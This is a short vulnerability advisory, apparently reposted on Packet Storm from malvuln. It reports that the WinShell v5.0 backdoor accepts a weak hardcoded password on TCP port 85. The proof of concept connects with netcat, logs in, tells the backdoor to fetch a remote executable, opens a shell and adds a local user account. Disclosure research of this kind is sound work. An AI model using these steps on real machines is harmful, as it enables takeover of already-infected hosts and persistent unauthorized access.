Backdoor.Win32.WinShell.50 Weak Hardcoded Password ≈ Packet Storm

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Backdoor.Win32.WinShell.50 Weak Hardcoded Password^[6]: Authored by malvuln ^[7] | Site malvuln.com ^[8]; Backdoor.Win32.WinShell.50 malware suffers from a weak hardcoded password vulnerability.; systems | windows ^[9]; MD5 | bef88d27106d91a30aaca122335166ec; Download ^[10] | Favorite ^[11] | View ^[12]

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/1fd45364073a81ddd707d74ba5d4c121.txt
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Media: twitter.com/malvuln
Threat: Backdoor.Win32.WinShell.50
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 85 and requires authentication. However, the password "imdabest" is weak, hardcoded in plaintext in the PE file and appears many times in a database of leaked passwords.
Type: PE32
MD5: 1fd45364073a81ddd707d74ba5d4c121
Vuln ID: MVID-2022-0474
Dropped files: "sxe32A3.tmp"
Disclosure: 01/25/2022
Exploit/PoC:
nc64.exe x.x.x.x 85
:imdabest
WinShell v5.0 (C)2002 janker.org
? for help
CMD>?
i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit
Download:
CMD>http://.../srv.exe
? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
c:\dump>whoami
whoami
desktop-2c3kqho\victim
c:\dump>net user hyp3rlinx 666 /add
net user hyp3rlinx 666 /add
The command completed successfully.
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